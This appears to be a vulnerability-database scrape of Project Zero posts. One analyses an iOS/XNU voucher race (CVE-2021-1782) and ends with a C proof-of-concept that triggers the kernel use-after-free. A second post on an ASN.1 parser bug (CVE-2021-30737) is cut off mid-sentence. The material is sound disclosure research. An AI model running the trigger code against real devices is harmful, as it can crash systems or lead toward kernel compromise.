ivace (because the table could have been reallocated while the ivac lock was dropped, and only the index into the table would be valid, not a pointer.)\n\nThen things get really weird; if ivace->ivace_made isn't equal to made but user_data_release_value did return KERN_SUCCESS, then they subtract the old value of ivace_made from the current value of ivace_made, and if ivace_refs is 0, they use a goto statement to try to free the user_data_value_element again?\n\nIf that makes complete sense to you at first glance then give yourself a gold star! Because to me at first that logic was completely impenetrable. We will get to the bottom of it though.\n\nWe need to ask the question: under what circumstances will ivace_made and the user_data_value_element's e_made field ever be different? To answer this we need to look back at ipc_voucher_replace_value where the user_data_value_element and ivace are actually allocated:\n\nkr = (ivam->ivam_get_value)(\n\nivam, key, command,\n\nprevious_vals, previous_vals_count,\n\ncontent, content_size,\n\n&new_value, &new_flag, &new_value_voucher);\n\nif (KERN_SUCCESS != kr) {\n\nivac_release(ivac);\n\nreturn kr;\n\n}\n\n... /* WINDOW */\n\nval_index = ivace_reference_by_value(ivac, new_value, new_flag); \n \n--- \n \nWe already looked at this code; if you can't remember what ivam_get_value or ivace_reference_by_value are meant to do, I'd suggest going back and looking at those sections again.\n\nFirstly, ipc_voucher_replace_value itself isn't holding any locks. It does however hold a few references (e.g., on the ivac and ivam.)\n\nuser_data_get_value (the value of ivam->ivam_get_value) only takes the user_data lock (and not in all paths; we'll get to that) and ivace_reference_by_value, which increments ivace->ivace_made does that under the ivac lock.\n\ne_made should therefore always get incremented before any corresponding ivace's ivace_made field. And there is a small window (marked as WINDOW above) where e_made will be larger than the ivace_made field of the ivace which will end up with a pointer to the user_data_value_element. If, in exactly that window shown above, another thread grabs the ivac's lock and drops the last reference (ivace_refs) on the ivace which currently points to that user_data_value_element then we'll encounter one of the more complex situations outlined above where, in ivace_release ivace_made is not equal to the user_data_value_element's e_made field. The reason that there is special treatment of that case is that it's indicating that there is a live pointer to the user_data_value_element which isn't yet accounted for by the ivace, and therefore it's not valid to free the user_data_value_element.\n\nAnother way to view this is that it's a hack around not holding a lock across that window shown above.\n\nWith this insight we can start to unravel the \"redrive\" logic:\n\nif (ivace->ivace_made != made) {\n\nif (KERN_SUCCESS == kr) {\n\nivace->ivace_made -= made;\n\n}\n\nif (0 == ivace->ivace_refs) {\n\ngoto redrive;\n\n}\n\nivace->ivace_releasing = FALSE;\n\nivac_unlock(ivac);\n\nreturn;\n\n} else {\n\n/*\n\n* If the manager returned FAILURE, someone took a\n\n* reference on the value but have not updated the ivace,\n\n* release the lock and return since thread who got\n\n* the new reference will update the ivace and will have\n\n* non-zero reference on the value.\n\n*/\n\nif (KERN_SUCCESS != kr) {\n\nivace->ivace_releasing = FALSE;\n\nivac_unlock(ivac);\n\nreturn;\n\n}\n\n} \n \n--- \n \nLet's take the first case:\n\nmade is the value of ivace->ivace_made before the ivac's lock was dropped and re-acquired. If those are different, it indicates that a race did occur and another thread (or threads) revived this ivace (since even though the refs has gone to zero it hasn't yet been removed by this thread from the ivac's hash table, and even though it's been marked as being released by setting ivace_releasing to TRUE, that doesn't prevent another reference being handed out on a racing thread.)\n\nThere are then two distinct sub-cases:\n\n1) (ivace->ivace_made != made) and (KERN_SUCCESS == kr)\n\nWe can now parse the meaning of this: this ivace was revived but that occurred after the user_data_value_element was freed on this thread. The racing thread then allocated a *new* value which happened to be exactly the same as the ivace_value this ivace has, hence the other thread getting a reference on this ivace before this thread was able to remove it from the ivac's hash table. Note that for the user_data case the ivace_value is a pointer (making this particular case even more unlikely, but not impossible) but it isn't going to always be the case that the value is a pointer; at the ivac layer the ivace_value is actually a 64-bit handle. The user_data attr chooses to store a pointer there.\n\nSo what's happened in this case is that another thread has looked up an ivace for a new ivace_value which happens to collide (due to having a matching pointer, but potentially different buffer contents) with the value that this thread had. I don't think this actually has security implications; but it does take a while to get your head around.\n\nIf this is the case then we've ended up with a pointer to a revived ivace which now, despite having a matching ivace_value, is never-the-less semantically different from the ivace we had when this thread entered this function. The connection between our thread's idea of ivace_made and the ivace_value's e_made has been severed; and we need to remove our thread's contribution to that; hence:\n\nif (ivace->ivace_made != made) {\n\nif (KERN_SUCCESS == kr) {\n\nivace->ivace_made -= made;\n\n} \n \n--- \n \n2) (ivace->ivace_made != made) and (0 == ivace->ivace_refs)\n\nIn this case another thread (or threads) has raced, revived this ivace and then deallocated all their references. Since this thread set ivace_releasing to TRUE the racing thread, after decrementing ivace_refs back to zero encountered this:\n\nif (ivace->ivace_releasing) {\n\nivac_unlock(ivac);\n\nreturn;\n\n} \n \n--- \n \nand returned early from ivace_release, despite having dropped ivace_refs to zero, and it's now this thread's responsibility to continue freeing this ivace:\n\nif (0 == ivace->ivace_refs) {\n\ngoto redrive;\n\n} \n \n--- \n \nYou can see the location of the redrive label in the earlier snippets; it captures a new value from ivace_made before calling out to the attr manager again to try to free the ivace_value.\n\nIf we don't goto redrive then this ivace has been revived and is still alive, therefore all that needs to be done is set ivace_releasing to FALSE and return.\n\nThe conditions under which the other branch is taken is nicely documented in a comment. This is the case when ivace_made is equal to made, yet ivam_release_value didn't return success (so the ivace_value wasn't freed.)\n\n/*\n\n* If the manager returned FAILURE, someone took a\n\n* reference on the value but have not updated the ivace,\n\n* release the lock and return since thread who got\n\n* the new reference will update the ivace and will have\n\n* non-zero reference on the value.\n\n*/ \n \n--- \n \nIn this case, the code again just sets ivace_releasing to FALSE and continues.\n\nPut another way, this comment explaining is exactly what happens when the racing thread was exactly in the region marked WINDOW up above, which is after that thread had incremented e_made on the same user_data_value_element which this ivace has a pointer to in its ivace_value field, but before that thread had looked up this ivace and taken a reference. That's exactly the window another thread needs to hit where it's not correct for this thread to free its user_data_value_element, despite our ivace_refs being 0.\n\n## The bug\n\nHopefully the significance of the user_data_value_element e_made field is now clear. It's not exactly a reference count; in fact it only exists as a kind of band-aid to work around what should be in practice a very rare race condition. But, if its value was wrong, bad things could happen if you tried :)\n\ne_made is only modified in two places: Firstly, in user_data_dedup when a matching user_data_value_element is found in the user_data_bucket hash table:\n\n/* ... we found a match... */\n\nelem->e_made++;\n\nuser_data_unlock(); \n \n--- \n \nThe only other place is in user_data_get_value when handling the MACH_VOUCHER_ATTR_REDEEM command during recipe parsing:\n\nswitch (command) {\n\ncase MACH_VOUCHER_ATTR_REDEEM:\n\n/* redeem of previous values is the value */\n\nif (0 < prev_value_count) {\n\nelem = (user_data_element_t)prev_values[0];\n\nassert(0 < elem->e_made);\n\nelem->e_made++;\n\n*out_value = prev_values[0];\n\nreturn KERN_SUCCESS;\n\n}\n\n/* redeem of default is default */\n\n*out_value = 0;\n\nreturn KERN_SUCCESS; \n \n--- \n \nAs mentioned before, it's up to the attr managers themselves to define the semantics of redeeming a voucher; the entirety of the user_data semantics for voucher redemption are shown above. It simply returns the previous value, with e_made incremented by 1. Recall that *prev_value is either the value which was previously in this under-construction voucher for this key, or the value in the prev_voucher referenced by this sub-recipe.\n\nIf you can't spot the bug above in the user_data MACH_VOUCHER_ATTR_REDEEM code right away that's because it's a bug of omission; it's what's not there that causes the vulnerability, namely that the increment in the MACH_VOUCHER_ATTR_REDEEM case isn't protected by the user_data lock! This increment isn't atomic.\n\nThat means that if the MACH_VOUCHER_ATTR_REDEEM code executes in parallel with either itself on another thread or the elem->e_made++ increment in user_data_dedup on another thread, the two threads can both see the same initial value for e_made, both add one then both write the same value back; incrementing it by one when it should have been incremented by two.\n\nBut remember, e_made isn't a reference count! So actually making something bad happen isn't as simple as just getting the two threads to align such that their increments overlap so that e_made is wrong.\n\nLet's think back to what the purpose of e_made is: it exists solely to ensure that if thread A drops the last ref on an ivace whilst thread B is exactly in the race window shown below, that thread doesn't free new_value on thread B's stack:\n\nkr = (ivam->ivam_get_value)(\n\nivam, key, command,\n\nprevious_vals, previous_vals_count,\n\ncontent, content_size,\n\n&new_value, &new_flag, &new_value_voucher);\n\nif (KERN_SUCCESS != kr) {\n\nivac_release(ivac);\n\nreturn kr;\n\n}\n\n... /* WINDOW */\n\nval_index = ivace_reference_by_value(ivac, new_value, new_flag); \n \n--- \n \nAnd the reason the user_data_value_element doesn't get freed by thread A is because in that window, e_made will always be larger than the ivace->ivace_made value for any ivace which has a pointer to that user_data_value_element. e_made is larger because the e_made increment always happens before any ivace_made increment.\n\nThis is why the absolute value of e_made isn't important; all that matters is whether or not it's equal to ivace_made. And the only purpose of that is to determine whether there's another thread in that window shown above.\n\nSo how can we make something bad happen? Well, let's assume that we successfully trigger the e_made non-atomic increment and end up with a value of e_made which is one less than ivace_made. What does this do to the race window detection logic? It completely flips it! If, in the steady-state e_made is one less than ivace_made then we race two threads; thread A which is dropping the last ivace_ref and thread B which is attempting to revive it and thread B is in the WINDOW shown above then e_made gets incremented before ivace_made, but since e_made started out one lower than ivace_made (due to the successful earlier trigger of the non-atomic increment) then e_made is now exactly equal to ivace_made; the exact condition which indicates we cannot possibly be in the WINDOW shown above, and it's safe to free the user_data_value_element which is in fact live on thread B's stack!\n\nThread B then ends up with a revived ivace with a dangling ivace_value.\n\nThis gives an attacker two primitives that together would be more than sufficient to successfully exploit this bug: the mach_voucher_extract_attr_content voucher port MIG method would allow reading memory through the dangling ivace_value pointer, and deallocating the voucher port would allow a controlled extra kfree of the dangling pointer.\n\nWith the insight that you need to trigger these two race windows (the non-atomic increment to make e_made one too low, then the last-ref vs revive race) it's trivial to write a PoC to demonstrate the issue; simply allocate and deallocate voucher ports on two threads, with at least one of them using a MACH_VOUCHER_ATTR_REDEEM sub-recipe command. Pretty quickly you'll hit the two race conditions correctly.\n\n## Conclusions\n\nIt's interesting to think about how this vulnerability might have been found. Certainly somebody did find it, and trying to figure out how they might have done that can help us improve our vulnerability research techniques. I'll offer four possibilities:\n\n1) Just read the code\n\nPossible, but this vulnerability is quite deep in the code. This would have been a marathon auditing effort to find and determine that it was exploitable. On the other hand this attack surface is reachable from every sandbox making vulnerabilities here very valuable and perhaps worth the investment.\n\n2) Static lock-analysis tooling\n\nThis is something which we've discussed within Project Zero over many afternoon coffee chats: could we build a tool to generate a fuzzy mapping between locks and objects which are probably meant to be protected by those locks, and then list any discrepancies where the lock isn't held? In this particular case e_made is only modified in two places; one time the user_data_lock is held and the other time it isn't. Perhaps tooling isn't even required and this could just be a technique used to help guide auditing towards possible race-condition vulnerabilities.\n\n3) Dynamic lock-analysis tooling\n\nPerhaps tools like [ThreadSanitizer](<https://clang.llvm.org/docs/ThreadSanitizer.html>) could be used to dynamically record a mapping between locks and accessed objects/object fields. Such a tool could plausibly have flagged this race condition under normal system use. The false positive rate of such a tool might be unusably high however.\n\n4) Race-condition fuzzer\n\nIt's not inconceivable that a coverage-guided fuzzer could have generated the proof-of-concept shown below, though it would specifically have to have been built to execute parallel testcases.\n\nAs to what technique was actually used, we don't know. As defenders we need to do a better job making sure that we invest even more effort in all of these possibilities and more.\n\n## PoC:\n\n#include <stdio.h>\n\n#include <stdlib.h>\n\n#include <unistd.h>\n\n#include <pthread.h>\n\n#include <mach/mach.h>\n\n#include <mach/mach_voucher.h>\n\n#include <atm/atm_types.h>\n\n#include <voucher/ipc_pthread_priority_types.h>\n\n// @i41nbeer\n\nstatic mach_port_t\n\ncreate_voucher_from_recipe(void* recipe, size_t recipe_size) {\n\nmach_port_t voucher = MACH_PORT_NULL;\n\nkern_return_t kr = host_create_mach_voucher(\n\nmach_host_self(),\n\n(mach_voucher_attr_raw_recipe_array_t)recipe,\n\nrecipe_size,\n\n&voucher);\n\nif (kr != KERN_SUCCESS) {\n\nprintf(\"failed to create voucher from recipe\\n\");\n\n}\n\nreturn voucher;\n\n}\n\nstatic void*\n\ncreate_single_variable_userdata_voucher_recipe(void* buf, size_t len, size_t* template_size_out) {\n\nsize_t recipe_size = (sizeof(mach_voucher_attr_recipe_data_t)) + len;\n\nmach_voucher_attr_recipe_data_t* recipe = calloc(recipe_size, 1);\n\nrecipe->key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\n\nrecipe->command = MACH_VOUCHER_ATTR_USER_DATA_STORE;\n\nrecipe->content_size = len;\n\nuint8_t* content_buf = ((uint8_t*)recipe)+sizeof(mach_voucher_attr_recipe_data_t);\n\nmemcpy(content_buf, buf, len);\n\n*template_size_out = recipe_size;\n\nreturn recipe;\n\n}\n\nstatic void*\n\ncreate_single_variable_userdata_then_redeem_voucher_recipe(void* buf, size_t len, size_t* template_size_out) {\n\nsize_t recipe_size = (2*sizeof(mach_voucher_attr_recipe_data_t)) + len;\n\nmach_voucher_attr_recipe_data_t* recipe = calloc(recipe_size, 1);\n\nrecipe->key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\n\nrecipe->command = MACH_VOUCHER_ATTR_USER_DATA_STORE;\n\nrecipe->content_size = len;\n\nuint8_t* content_buf = ((uint8_t*)recipe)+sizeof(mach_voucher_attr_recipe_data_t);\n\nmemcpy(content_buf, buf, len);\n\nmach_voucher_attr_recipe_data_t* recipe2 = (mach_voucher_attr_recipe_data_t*)(content_buf + len);\n\nrecipe2->key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\n\nrecipe2->command = MACH_VOUCHER_ATTR_REDEEM;\n\n*template_size_out = recipe_size;\n\nreturn recipe;\n\n}\n\nstruct recipe_template_meta {\n\nvoid* recipe;\n\nsize_t recipe_size;\n\n};\n\nstruct recipe_template_meta single_recipe_template = {};\n\nstruct recipe_template_meta redeem_recipe_template = {};\n\nint iter_limit = 100000;\n\nvoid* s3threadfunc(void* arg) {\n\nstruct recipe_template_meta* template = (struct recipe_template_meta*)arg;\n\nfor (int i = 0; i < iter_limit; i++) {\n\nmach_port_t voucher_port = create_voucher_from_recipe(template->recipe, template->recipe_size);\n\nmach_port_deallocate(mach_task_self(), voucher_port);\n\n}\n\nreturn NULL;\n\n}\n\nvoid sploit_3() {\n\nwhile(1) {\n\n// choose a userdata size:\n\nuint32_t userdata_size = (arc4random() % 2040)+8;\n\nuserdata_size += 7;\n\nuserdata_size &= (~7);\n\nprintf(\"userdata size: 0x%x\\n\", userdata_size);\n\nuint8_t* userdata_buffer = calloc(userdata_size, 1);\n\n((uint32_t*)userdata_buffer)[0] = arc4random();\n\n((uint32_t*)userdata_buffer)[1] = arc4random();\n\n// build the templates: \n\nsingle_recipe_template.recipe = create_single_variable_userdata_voucher_recipe(userdata_buffer, userdata_size, &single_recipe_template.recipe_size);\n\nredeem_recipe_template.recipe = create_single_variable_userdata_then_redeem_voucher_recipe(userdata_buffer, userdata_size, &redeem_recipe_template.recipe_size);\n\nfree(userdata_buffer);\n\npthread_t single_recipe_thread;\n\npthread_create(&single_recipe_thread, NULL, s3threadfunc, (void*)&single_recipe_template);\n\npthread_t redeem_recipe_thread;\n\npthread_create(&redeem_recipe_thread, NULL, s3threadfunc, (void*)&redeem_recipe_template);\n\npthread_join(single_recipe_thread, NULL);\n\npthread_join(redeem_recipe_thread, NULL);\n\nfree(single_recipe_template.recipe);\n\nfree(redeem_recipe_template.recipe);\n\n}\n\n}\n\nint main(int argc, char** argv) {\n\nsploit_3();\n\n} \n \n---\n", "published": "2022-04-14T00:00:00", "modified": "2022-04-14T00:00:00", "epss": [{"cve": "CVE-2021-1772", "epss": 0.00074, "percentile": 0.30384, "modified": "2023-05-27"}, {"cve": "CVE-2021-1782", "epss": 0.00097, "percentile": 0.3946, "modified": "2023-05-27"}, {"cve": "CVE-2021-30737", "epss": 0.00241, "percentile": 0.60627, "modified": "2023-05-27"}], "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "LOCAL", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 6.9}, "severity": "MEDIUM", "exploitabilityScore": 3.4, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://googleprojectzero.blogspot.com/2022/04/cve-2021-1782-ios-in-wild-vulnerability.html", "reporter": "GoogleProjectZero", "references": [], "cvelist": ["CVE-2021-1772", "CVE-2021-1782", "CVE-2021-30737"], "immutableFields": [], "lastseen": "2023-05-28T02:00:41", "viewCount": 33, "enchantments": {"score": {"value": 8.4, "vector": "NONE"}, "dependencies": {"references": [{"type": "apple", "idList": ["APPLE:0B6DF5CC92E6D0376210E301EBDB5732", "APPLE:341D114D330F307514C2721DBB8BFACA", "APPLE:3D2B7EA0D2FC28210AECB76B2C407C9F", "APPLE:63DD59AAEDECD46C156A7668A930E353", "APPLE:852BF4CFEE89DF537390F83B28A0C41D", "APPLE:8592A5882F33472850FF959BB2667129", "APPLE:AB574AD53A4E96A37DA94B141F2D9E50", "APPLE:B08BBADEFC88806E12CB234F1EB6C4C6", "APPLE:B42E67860AD9D9F5B9307A29A1189DF0", "APPLE:B69E745380EF6BD25EB61E697869CC84", "APPLE:F8BE10D8CFAE590690202C33D00B6E6B", "APPLE:HT212146", "APPLE:HT212147", "APPLE:HT212148", "APPLE:HT212149"]}, {"type": "attackerkb", "idList": ["AKB:183D8BB0-8586-4082-B243-93481A8DD739"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2021-1782"]}, {"type": "cve", "idList": ["CVE-2021-1772", "CVE-2021-1782", "CVE-2021-30737"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:1018F8694CC71D28EAB1260365FF3821", "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156", "GOOGLEPROJECTZERO:FF8B615E4ADCFC0DAC2F4E6FA3782960"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:11D4071979D3FC1E6028AA8D71EB87F4"]}, {"type": "nessus", "idList": ["APPLETV_14_6.NASL", "APPLE_IOS_1254_CHECK.NBIN", "MACOS_HT212147.NASL", "MACOS_HT212529.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:5101CC734C1A900451E5994AFF57209A", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A"]}, {"type": "thn", "idList": ["THN:012D6A298BED906B54D36D175756D4A7", "THN:080F85D43290560CDED8F282EE277B00", "THN:0D13405795D42B516C33D8E56A44BA9D", "THN:4EFE9C3A3A0DEB0019296A14C9EAC1FA", "THN:59DC40FBDFBEBE12E11B551510E4B2E6", "THN:739D9EFE8C7F1B29E2430DAC65CDEE52", "THN:BB8CDCFD08801BDD2929E342853D03E9"]}, {"type": "threatpost", "idList": ["THREATPOST:233067E74345C95478CA096160DFCE43", "THREATPOST:26C336F10C4AB0FEC01844CA1040746F", "THREATPOST:33E56DEB736406F9DD08C7533BF1812B", "THREATPOST:8372A3E62BAD4992E997A34240A7EB45"]}, {"type": "zdi", "idList": ["ZDI-21-149", "ZDI-21-758"]}]}, "epss": [{"cve": "CVE-2021-1772", "epss": 0.00074, "percentile": 0.30305, "modified": "2023-05-01"}, {"cve": "CVE-2021-1782", "epss": 0.00097, "percentile": 0.39334, "modified": "2023-05-01"}, {"cve": "CVE-2021-30737", "epss": 0.00241, "percentile": 0.60559, "modified": "2023-05-01"}], "vulnersScore": 8.4}, "_state": {"score": 1685239328, "dependencies": 1685239590, "epss": 0}, "_internal": {"score_hash": "2d63ef7fb9f07513ff32eed54d376d55"}}
{"googleprojectzero": [{"lastseen": "2023-06-03T14:31:05", "description": "Posted by Ian Beer, Google Project Zero\n\nThis blog post is my analysis of a vulnerability found by [@xerub](<https://twitter.com/xerub>). [Phrack published @xerub's writeup](<http://phrack.org/issues/70/12.html#article>) so go check that out first.\n\nAs well as doing my own vulnerability research I also spend time trying as best as I can to keep up with the public state-of-the-art, especially when details of a particularly interesting vulnerability are announced or a new in-the-wild exploit is caught. Originally this post was just a series of notes I took last year as I was trying to understand this bug. But the bug itself and the narrative around it are so fascinating that I thought it would be worth writing up these notes into a more coherent form to share with the community.\n\n## Background\n\nOn April 14th 2021 the [Washington Post published an article](<https://www.washingtonpost.com/technology/2021/04/14/azimuth-san-bernardino-apple-iphone-fbi/>) on the unlocking of the San Bernardino iPhone by [Azimuth](<https://www.vice.com/en/article/8xdayg/iphone-zero-days-inside-azimuth-security>) containing a nugget of non-public information:\n\n\"Azimuth specialized in finding significant vulnerabilities. Dowd [...] had found one in open-source code from Mozilla that Apple used to permit accessories to be plugged into an iPhone\u2019s lightning port, according to the person.\"\n\nThere's not that much Mozilla code running on an iPhone and even less which is likely to be part of such an attack surface. Therefore, if accurate, this quote almost certainly meant that Azimuth had exploited a vulnerability in the [ASN.1](<https://en.wikipedia.org/wiki/ASN.1>) parser used by [Security.framework](<https://opensource.apple.com/source/Security/>), which is a fork of Mozilla's NSS ASN.1 parser.\n\nI searched around in [bugzilla](<https://bugzilla.mozilla.org/>) (Mozilla's issue tracker) looking for candidate vulnerabilities which matched the timeline discussed in the Post article and narrowed it down to a handful of plausible bugs including: [1202868](<https://bugzilla.mozilla.org/show_bug.cgi?id=1202868>), [1192028](<https://bugzilla.mozilla.org/show_bug.cgi?id=1192028>), [1245528](<https://bugzilla.mozilla.org/show_bug.cgi?id=1245528>).\n\nI was surprised that there had been so many exploitable-looking issues in the ASN.1 code and decided to add auditing the NSS ASN.1 parser as an quarterly goal.\n\nA month later, having predictably done absolutely nothing more towards that goal, I saw this [tweet from @xerub](<https://twitter.com/xerub/status/1397190931653222400>):\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3Zm78R4JD6H57okd_d1wpa26R9mX0Q746I5hMzwV8EMxosHbDjO5l5tH2hEpkq0m3S7AMmHOU9_6J7veCrxIxq66ilLSKJCLgHBGalgzSo0MrCulaERSbqUhXkHwqNbZdeVg4JWisV2ZuDb_j_AxLxvzX3t1EEtp396DCTt6fYeihuTRsevnnGUXD/s1188/image2%20%281%29%281%29.png>)\n\n@xerub: CVE-2021-30737 is pretty bad. Please update ASAP. (Shameless excerpt from the full chain source code) 4:00 PM - May 25, 2021\n\nThe shameless excerpt reads:\n\n// This is the real deal. Take no chances, take no prisoners! I AM THE STATE MACHINE!\n\nAnd CVE-2021-30737, fixed in iOS 14.6 was described in the [iOS release notes](<https://support.apple.com/en-us/HT212528#:~:text=2021%2D30699%3A%20videosdebarraquito-,Security,CVE%2D2021%2D30737%3A%20xerub,-WebKit>) as:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje1dcAUA5sK_nqVsE360buSwr8PiFgWjPgQpoq-OM0yvBR6Cb0NFXaoXwmIEE6g_fljFihcv3Vh2lUeXZJgKXfFZVC0t3-nuLvhNOx5bEriX6rZmYt1CIiRMxQ47Sw4tuyc9e7ruZC6lLPKklbsN9QQKoEE7h6QeUzQKyNk9APG5-WYvYgjCR7KRJd/s1650/image4%20%281%29%281%29.png>)\n\nImpact: Processing a maliciously crafted certification may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.\n\nFeeling slightly annoyed that I hadn't acted on my instincts as there was clearly something awesome lurking there I made a mental note to diff the source code once Apple released it which they finally did a few weeks later on [opensource.apple.com in the Security package](<https://opensource.apple.com/source/Security/Security-59754.120.12/>).\n\nHere's the diff between the MacOS 11.4 and 11.3 versions of [secasn1d.c](<https://opensource.apple.com/source/Security/Security-59754.120.12/OSX/libsecurity_asn1/lib/secasn1d.c.auto.html>) which contains the ASN.1 parser:\n\ndiff \\--git a/OSX/libsecurity_asn1/lib/secasn1d.c b/OSX/libsecurity_asn1/lib/secasn1d.c\n\nindex f338527..5b4915a 100644\n\n\\--- a/OSX/libsecurity_asn1/lib/secasn1d.c\n\n+++ b/OSX/libsecurity_asn1/lib/secasn1d.c\n\n@@ -434,9 +434,6 @@ loser:\n\nPORT_ArenaRelease(cx->our_pool, state->our_mark);\n\nstate->our_mark = NULL;\n\n}\n\n- if (new_state != NULL) {\n\n- PORT_Free(new_state);\n\n- }\n\nreturn NULL;\n\n}\n\n@@ -1794,19 +1791,13 @@ sec_asn1d_parse_bit_string (sec_asn1d_state *state,\n\n/*PORT_Assert (state->pending > 0); */\n\nPORT_Assert (state->place == beforeBitString);\n\n- if ((state->pending == 0) || (state->contents_length == 1)) {\n\n+ if (state->pending == 0) {\n\nif (state->dest != NULL) {\n\nSecAsn1Item *item = (SecAsn1Item *)(state->dest);\n\nitem->Data = NULL;\n\nitem->Length = 0;\n\nstate->place = beforeEndOfContents;\n\n- }\n\n- if(state->contents_length == 1) {\n\n- /* skip over (unused) remainder byte */\n\n- return 1;\n\n- }\n\n- else {\n\n- return 0;\n\n+ return 0;\n\n}\n\n} \n \n--- \n \nThe first change (removing the PORT_Free) is immaterial for Apple's use case as it's fixing a double free which doesn't impact Apple's build. It's only relevant when \"allocator marks\" are enabled and this feature is disabled.\n\nThe vulnerability must therefore be in sec_asn1d_parse_bit_string. We know from xerub's tweet that something goes wrong with a state machine, but to figure it out we need to cover some ASN.1 basics and then start looking at how the NSS ASN.1 state machine works.\n\n## ASN.1 encoding\n\nASN.1 is a Type-Length-Value serialization format, but with the neat quirk that it can also handle the case when you don't know the length of the value, but want to serialize it anyway! That quirk is only possible when ASN.1 is encoded according to Basic Encoding Rules (BER.) There is a stricter encoding called DER (Distinguished Encoding Rules) which enforces that a particular value only has a single correct encoding and disallows the cases where you can serialize values without knowing their eventual lengths.\n\n[This page is a nice beginner's guide to ASN.1](<https://luca.ntop.org/Teaching/Appunti/asn1.html>). I'd really recommend skimming that to get a good overview of ASN.1.\n\nThere are a lot of built-in types in ASN.1. I'm only going to describe the minimum required to understand this vulnerability (mostly because I don't know any more than that!) So let's just start from the very first byte of a serialized ASN.1 object and figure out how to decode it:\n\nThis first byte tells you the type, with the least significant 5 bits defining the type identifier. The special type identifier value of 0x1f tells you that the type identifier doesn't fit in those 5 bits and is instead encoded in a different way (which we'll ignore):\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizzg9gXNiEAlpqdPX6dIJ-pzEqqCLLQgRmv0BPkemfLnoeJFYJVgOPrEm6MR8HJMgX88oyMorrni9bnqDYcIuTjMuqF4gqF9q-Upt4tvTQAlzJMoO5u1ZcgAYcSt6eGnLaXeqSQyDO1D2tV4BXPquPyyzosMl00q5xBdmHucTkCxNRKIWkLSXj0KyR/s600/image6%20%281%29%281%29.png>)\n\nDiagram showing first two bytes of a serialized ASN.1 object. The first byte in this case is the type and class identifier and the second is the length.\n\nThe upper two bits of the first byte tell you the class of the type: universal, application, content-specific or private. For us, we'll leave that as 0 (universal.)\n\nBit 6 is where the fun starts. A value of 1 tells us that this is a primitive encoding which means that following the length are content bytes which can be directly interpreted as the intended type. For example, a primitive encoding of the string \"HELLO\" as an ASN.1 printable string would have a length byte of 5 followed by the ASCII characters \"HELLO\". All fairly straightforward.\n\nA value of 0 for bit 6 however tells us that this is a constructed encoding. This means that the bytes following the length are not the \"raw\" content bytes for the type but are instead ASN.1 encodings of one or more \"chunks\" which need to be individually parsed and concatenated to form the final output value. And to make things extra complicated it's also possible to specify a length value of 0 which means that you don't even know how long the reconstructed output will be or how much of the subsequent input will be required to completely build the output.\n\nThis final case (of a constructed type with indefinite length) is known as indefinite form. The end of the input which makes up a single indefinite value is signaled by a serialized type with the identifier, constructed, class and length values all equal to 0 , which is encoded as two NULL bytes.\n\n## ASN.1 bitstrings\n\nMost of the ASN.1 string types require no special treatment; they're just buffers of raw bytes. Some of them have length restrictions. For example: a BMP string must have an even length and a UNIVERSAL string must be a multiple of 4 bytes in length, but that's about it.\n\nASN.1 bitstrings are strings of bits as opposed to bytes. You could for example have a bitstring with a length of a single bit (so either a 0 or 1) or a bitstring with a length of 127 bits (so 15 full bytes plus an extra 7 bits.) \n\nEncoded ASN.1 bitstrings have an extra metadata byte after the length but before the contents, which encodes the number of unused bits in the final byte.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozw2VvZycyqovtb9-AdzBUGQAUR8Bt9lGRG4A0LS9aMYAohwNVGi7CAFrCGUG6Y3SGu1iFvpn85ZrrPiA0f6dxo2Qy18ypN6sf_LG7mNNMICekk9VOcWHMDE7ZtRoZQyeIiWhKr8D0Od3frzIFnEc6oYPM0CG9kGk4QWUVSAxMrqoD6km_Cy5V1ww/s1165/image1%20%282%29%283%29.png>)\n\nDiagram showing the complete encoding of a 3-bit bitstring. The length of 2 includes the unused-bits count byte which has a value of 5, indicating that only the 3 most-significant bits of the final byte are valid.\n\n## Parsing ASN.1\n\nASN.1 data always needs to be decoded in tandem with a template that tells the parser what data to expect and also provides output pointers to be filled in with the parsed output data. Here's the template my test program uses to exercise the bitstring code:\n\nconst SecAsn1Template simple_bitstring_template[] = {\n\n{\n\nSEC_ASN1_BIT_STRING | SEC_ASN1_MAY_STREAM, // kind: bit string,\n\n// may be constructed\n\n0, // offset: in dest/src\n\nNULL, // sub: subtemplate for indirection\n\nsizeof(SecAsn1Item) // size: of output structure\n\n}\n\n}; \n \n--- \n \nA SecASN1Item is a very simple wrapper around a buffer. We can provide a SecAsn1Item for the parser to use to return the parsed bitstring then call the parser:\n\nSecAsn1Item decoded = {0};\n\nPLArenaPool* pool = PORT_NewArena(1024);\n\nSECStatus status =\n\nSEC_ASN1Decode(pool, // pool: arena for destination allocations\n\n&decoded, // dest: decoded encoded items in to 